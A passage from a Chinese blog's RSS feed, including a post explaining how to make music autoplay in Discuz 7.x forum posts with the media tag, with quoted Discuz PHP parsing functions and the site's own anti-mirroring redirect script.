#339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=3709";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=3709" title="Permanent Link to 为discuz添加漂亮的mp3播放器[适合discuz 7.2/discuz X2]" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=3709</a>
            </p>
             </div><h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>2010年04月17日  //  <a href="http://ihacklog.com/php/wordpress/plugins/add-wp-shortcode-to-enable-media-playing.html" title="不用audio-player插件也播放mp3">不用audio-player插件也播放mp3</a> (19)</li><li>2011年06月30日  //  <a href="http://ihacklog.com/security_optimization/discuz-x2-sql-injection-bug-20110629.html" title="Discuz! X2 SQL注射漏洞 (20110629)">Discuz! X2 SQL注射漏洞 (20110629)</a> (3)</li><li>2010年04月21日  //  <a href="http://ihacklog.com/php/wordpress/plugins/add-media-quicktags-for-wp.html" title="在后台添加quicktags——续《不用audio-player插件也播放mp3》">在后台添加quicktags——续《不用audio-player插件也播放mp3》</a> (23)</li><li>2010年03月18日  //  <a href="http://ihacklog.com/linux/ubuntu-desktop/mp3-id3-info-convert-into-utf-8-format.html" title="转换id3信息为utf-8解决linux下面mp3乱码问题">转换id3信息为utf-8解决linux下面mp3乱码问题</a> (11)</li><li>2010年03月3日  //  <a href="http://ihacklog.com/php/discuz/discuz-code-of-music-autoplay.html" title="discuz论坛中发帖之音乐自动播放方法">discuz论坛中发帖之音乐自动播放方法</a> (3)</li><li>2009年12月2日  //  <a href="http://ihacklog.com/software/cool_software_share/discuz-1-0-found.html" title="深夜，在DZ官网找到了传说中的discuz1.0">深夜，在DZ官网找到了传说中的discuz1.0</a> (8)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/discuz/add-beautiful-flash-audio-player-for-dz.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>discuz论坛中发帖之音乐自动播放方法</title>
		<link>http://ihacklog.com/php/discuz/discuz-code-of-music-autoplay.html</link>
		<comments>http://ihacklog.com/php/discuz/discuz-code-of-music-autoplay.html#comments</comments>
		<pubDate>Wed, 03 Mar 2010 11:59:06 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[discuz]]></category>
		<category><![CDATA[自动播放]]></category>
		<category><![CDATA[论坛]]></category>
		<category><![CDATA[音乐]]></category>

		<guid isPermaLink="false">http://www.ihacklog.com/?p=3495</guid>
		<description><![CDATA[今天寝室的小则童鞋问我他在论坛发帖如何让音乐自动播放，于是有了此文。 我看了下，他所在的论坛用的是国内比较流行的discuz论坛系统，虽然以前我也办过论坛，不过那时候我用的是6.*版和7.0版。现在的7.1和7.2版的discuz添加媒体或者音乐时没有自动播放选项的。不过其实它是支持自动播放的。 实现方法我这里有两种： 一、用discuz 代码media实现： 如： 1&#160; 那四个参数分别是文件类型(mp3、wma 等) 、长、宽、是否自动播放（自动播放填1就可以了，其实填什么无所谓，不自动播放则...]]></description>
			<content:encoded><![CDATA[<p>     今天寝室的小则童鞋问我他在论坛发帖如何让音乐自动播放，于是有了此文。<br />
     我看了下，他所在的论坛用的是国内比较流行的discuz论坛系统，虽然以前我也办过论坛，不过那时候我用的是6.*版和7.0版。现在的7.1和7.2版的discuz添加媒体或者音乐时没有自动播放选项的。不过其实它是支持自动播放的。<br />
实现方法我这里有两种：<br />
一、用discuz 代码media实现：<br />
如：</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">[media=mp3,250,30,1]http://www.changheng.net/iblog/images/jpg/dielian.mp3[/media]</div></td></tr></tbody></table></div>
<p>那四个参数分别是文件类型(mp3、wma 等) 、长、宽、是否自动播放（自动播放填1就可以了，其实填什么无所谓，不自动播放则不填）<br />
中间是mp3地址。</p>
<p>在include/discuzcode.php文件中的discuzcode函数中可以看到如下代码：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$msglower</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'[/media]'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/preg_replace"><span style="color: #990000;">preg_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/\[media=([\w,]+)\]\s*([^\[\&lt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>]+?)\s*\[\/media\]/ies&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$allowmediacode</span> ? <span style="color: #0000ff;">&quot;parsemedia('<span style="color: #000099; font-weight: bold;">\\</span>1', '<span style="color: #000099; font-weight: bold;">\\</span>2')&quot;</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">&quot;bbcodeurl('<span style="color: #000099; font-weight: bold;">\\</span>2', '&lt;a href=<span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #009933; font-weight: bold;">%s</span><span style="color: #000099; font-weight: bold;">\&quot;</span> target=<span style="color: #000099; font-weight: bold;">\&quot;</span>_blank<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;<span style="color: #009933; font-weight: bold;">%s</span>&lt;/a&gt;')&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$allowmediacode</span> <span style="color: #339933;">&amp;&amp;</span> <a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$msglower</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'[/audio]'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/preg_replace"><span style="color: #990000;">preg_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/\[audio\]\s*([^\[\&lt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>]+?)\s*\[\/audio\]/ies&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;parseaudio('<span style="color: #000099; font-weight: bold;">\\</span>1')&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>可见对于media标签是用parsemedia解析的，对于audio标签是用parseaudio解析的，但是media标签也可以处理音乐，从代码可以看出parsemedia函数对于音乐地址是通过调用parseaudio来解析的。从代码还可以看出audio标签是不支持自动播放的。因此要实现自动播放就得用media标签了。</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> parseaudio<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #000088;">$width</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">400</span><span style="color: #339933;">,</span> <span style="color: #000088;">$autostart</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$ext</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/strtolower"><span style="color: #990000;">strtolower</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strrchr"><span style="color: #990000;">strrchr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'.'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ext</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'mp3'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'wma'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'mid'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'wav'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;object classid=&quot;clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;64&quot;&gt;&lt;param name=&quot;invokeURLs&quot; value=&quot;0&quot;&gt;&lt;param name=&quot;autostart&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$autostart</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;param name=&quot;url&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;embed src=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; autostart=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$autostart</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; type=&quot;application/x-mplayer2&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;64&quot;&gt;&lt;/embed&gt;&lt;/object&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'ra'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'rm'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'ram'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$mediaid</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'media_'</span><span style="color: #339933;">.</span>random<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;object classid=&quot;clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;32&quot;&gt;&lt;param name=&quot;autostart&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$autostart</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;param name=&quot;src&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;param name=&quot;controls&quot; value=&quot;controlpanel&quot; /&gt;&lt;param name=&quot;console&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$mediaid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_&quot; /&gt;&lt;embed src=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; type=&quot;audio/x-pn-realaudio-plugin&quot; controls=&quot;ControlPanel&quot; console=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$mediaid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;32&quot;&gt;&lt;/embed&gt;&lt;/object&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">function</span> parsemedia<span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #339933;">,</span> <span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$params</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">','</span><span style="color: #339933;">,</span> <span style="color: #000088;">$params</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$width</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">800</span> ? <span style="color: #cc66cc;">800</span> <span style="color: #339933;">:</span> <a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$height</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">600</span> ? <span style="color: #cc66cc;">600</span> <span style="color: #339933;">:</span> <a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$autostart</span> <span style="color: #339933;">=</span> <span style="color: #339933;">!</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #cc66cc;">1</span> <span style="color: #339933;">:</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$flv</span> <span style="color: #339933;">=</span> parseflv<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #000088;">$width</span><span style="color: #339933;">,</span> <span style="color: #000088;">$height</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$flv</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/in_array"><span style="color: #990000;">in_array</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$type</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'\\&quot;'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'\&quot;'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$type</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'mp3'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'wma'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'ra'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'ram'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'wav'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'mid'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> parseaudio<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #000088;">$width</span><span style="color: #339933;">,</span> <span style="color: #000088;">$autostart</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'rm'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'rmvb'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'rtsp'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$mediaid</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'media_'</span><span style="color: #339933;">.</span>random<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;object classid=&quot;clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$height</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;&gt;&lt;param name=&quot;autostart&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$autostart</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;param name=&quot;src&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;param name=&quot;controls&quot; value=&quot;imagewindow&quot; /&gt;&lt;param name=&quot;console&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$mediaid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_&quot; /&gt;&lt;embed src=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; type=&quot;audio/x-pn-realaudio-plugin&quot; controls=&quot;imagewindow&quot; console=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$mediaid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$height</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;object classid=&quot;clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;32&quot;&gt;&lt;param name=&quot;src&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;param name=&quot;controls&quot; value=&quot;controlpanel&quot; /&gt;&lt;param name=&quot;console&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$mediaid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_&quot; /&gt;&lt;embed src=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; type=&quot;audio/x-pn-realaudio-plugin&quot; controls=&quot;controlpanel&quot; console=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$mediaid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;32&quot;'</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$autostart</span> ? <span style="color: #0000ff;">' autostart=&quot;true&quot;'</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&gt;&lt;/embed&gt;&lt;/object&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'flv'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;script type=&quot;text/javascript&quot; reload=&quot;1&quot;&gt;document.write(AC_FL_RunContent(\'width\', \''</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'\', \'height\', \''</span><span style="color: #339933;">.</span><span style="color: #000088;">$height</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \'images/common/flvplayer.swf\', \'flashvars\', \'file='</span><span style="color: #339933;">.</span><a href="http://www.php.net/rawurlencode"><span style="color: #990000;">rawurlencode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'\', \'quality\', \'high\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\'));&lt;/script&gt;'</span><span 